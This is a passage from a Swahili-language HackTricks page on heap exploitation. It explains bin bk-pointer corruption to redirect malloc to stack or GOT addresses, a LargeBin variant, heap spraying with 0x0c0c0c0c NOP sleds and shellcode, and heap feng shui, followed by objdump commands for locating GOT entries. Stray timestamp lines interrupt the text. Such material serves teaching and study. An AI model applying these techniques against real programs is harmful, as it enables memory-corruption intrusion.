Reserve malloc mbili, ili ya kwanza iweze kufanya overflow baada ya ya pili kuwa imeachiliwa na kuingizwa kwenye bin yake (yaani, malloc kubwa zaidi kuliko ya pili kabla ya kufanya overflow)
Malloc iliyowekwa ambayo inapewa anwani iliyochaguliwa na mshambuliaji inadhibitiwa na mshambuliaji.
Lengo ni, ikiwa tunaweza kufanya overflow kwa heap ambayo ina sehemu iliyofunguliwa chini yake na kwenye bin yake, tunaweza kubadilisha pointer yake bk. Ikiwa tunabadilisha pointer yake bk na sehemu hii inakuwa ya kwanza kwenye orodha ya bin na kuhifadhiwa, bin itadanganywa na kuelezwa kuwa sehemu ya mwisho ya orodha (inayofuata kutoa) iko kwenye anwani ya uwongo tuliyoweka (kwa mfano, kwenye stack au GOT). Kwa hivyo, ikiwa sehemu nyingine inahitajika kuhifadhiwa na mshambuliaji ana ruhusa ndani yake, atapewa sehemu kwenye nafasi inayotakiwa na ataweza kuandika ndani yake.
Baada ya kufungua sehemu iliyobadilishwa, ni muhimu kuhifadhi sehemu kubwa kuliko ile iliyofunguliwa, ili sehemu iliyobadilishwa itoke kwenye unsorted bins na iingizwe kwenye bin yake.
Marafiki kwenye bin yake wanapaswa kusubiri hadi wito wa malloc() ufanyike mara kutosha ili bin iliyobadilishwa itumike tena na kudanganya bin kwa kufanya iaminike sehemu inayofuata iko kwenye anwani ya uwongo. Na kisha sehemu inayotakiwa itatolewa.
Ili kutekeleza udhaifu haraka iwezekanavyo, ni bora: Hifadhi ya sehemu inayoweza kudhuriwa, hifadhi ya sehemu itakayobadilishwa, acha sehemu hii, hifadhi sehemu kubwa kuliko ile itakayobadilishwa, badilisha sehemu (udhaifu), hifadhi sehemu ya ukubwa sawa na ile iliyovunjwa na hifadhi sehemu ya pili ya ukubwa sawa na hiyo itakayoelekeza kwenye anwani iliyochaguliwa.
Kulinda shambulio hili, uthibitishaji wa kawaida kwamba sehemu "si" ni ya uwongo hutumiwa: inathibitishwa ikiwa bck->fd inaelekeza kwa mwathiriwa. Yaani, katika kesi yetu ikiwa pointer wa fd\* wa sehemu ya uwongo iliyoelekezwa kwenye stack inaelekeza kwa mwathiriwa. Ili kuvunja ulinzi huu, mshambuliaji lazima awe na uwezo wa kuandika kwa njia fulani (labda kwenye stack) kwenye anwani sahihi ya mwathiriwa. Ili ionekane kama sehemu ya kweli.
2024-02-11 02:13:58 +00:00
**Uharibifu wa LargeBin**
Mahitaji sawa na hapo awali yanahitajika na mengine zaidi, pamoja na sehemu zilizohifadhiwa lazima ziwe kubwa kuliko 512.
Shambulio ni kama lile lililopita, yaani, lazima kubadilisha pointer bk na wito wote huo wa malloc(), lakini pia lazima ubadilishe ukubwa wa sehemu iliyobadilishwa ili ukubwa huo - nb uwe < MINSIZE.
Kwa mfano, itabidi uweke ukubwa 1552 ili 1552 - 1544 = 8 < MINSIZE (kutoa haitaweza kuwa hasi kwa sababu inalinganishwa na isiyosainiwa)
Pia, kuna kipande cha programu kilichoingizwa ili kufanya iwe ngumu zaidi.
**Heap Spraying**
Kimsingi inahusisha kuhifadhi kumbukumbu yote inayowezekana kwa heaps na kuzijaza na safu ya nops zilizomalizika na shellcode. Kama safu, 0x0c hutumiwa. Kwa hivyo, jaribio litakuwa kusonga kwa anwani 0x0c0c0c0c, na hivyo ikiwa anwani yoyote itaandikwa na safu hii itaenda kwenye colchón. Kimsingi mkakati ni kuhifadhi kiasi kikubwa iwezekanavyo kuona ikiwa pointer yoyote itaandikwa na kuruka kwa 0x0c0c0c0c kwa matumaini kwamba kuna nops huko.
**Heap Feng Shui**
Inahusisha kusambaza kumbukumbu kwa njia ya akiba na kuachilia kumbukumbu kwa njia ambayo sehemu zilizohifadhiwa zinabaki kati ya sehemu zilizofunguliwa. Buffer ya kufurika itawekwa kwenye moja ya mayai.
2024-02-11 02:13:58 +00:00
**objdump -d executable** —> Disas functions\
**objdump -d ./PROGRAMA | grep FUNCTION** —> Pata anwani ya kazi\
**objdump -d -Mintel ./shellcodeout** —> Ili kuona ikiwa ni shellcode yetu na kutoa OpCodes\
**objdump -t ./exec | grep varBss** —> Jedwali la alama, ili kupata anwani za pembejeo na kazi\
**objdump -TR ./exec | grep exit(func lib)** —> Ili kupata anwani za kazi za maktaba (GOT)\
**objdump -d ./exec | grep funcCode**\
**objdump -s -j .dtors /exec**\
**objdump -s -j .got ./exec**\
**objdump -t --dynamic-relo ./exec | grep puts** —> Inatoa anwani ya puts itakayobadilishwa kwenye GOT\
**objdump -D ./exec** —> Disas ALL hadi kuingia kwa plt\
**objdump -p -/exec**\
**Info functions strncmp —>** Maelezo ya kazi katika gdb
## Kozi Zinazovutia
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
## **Vyanzo**
2021-09-26 15:10:12 +00:00
2022-04-05 22:24:52 +00:00
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2023-12-30 10:12:47 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha** [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>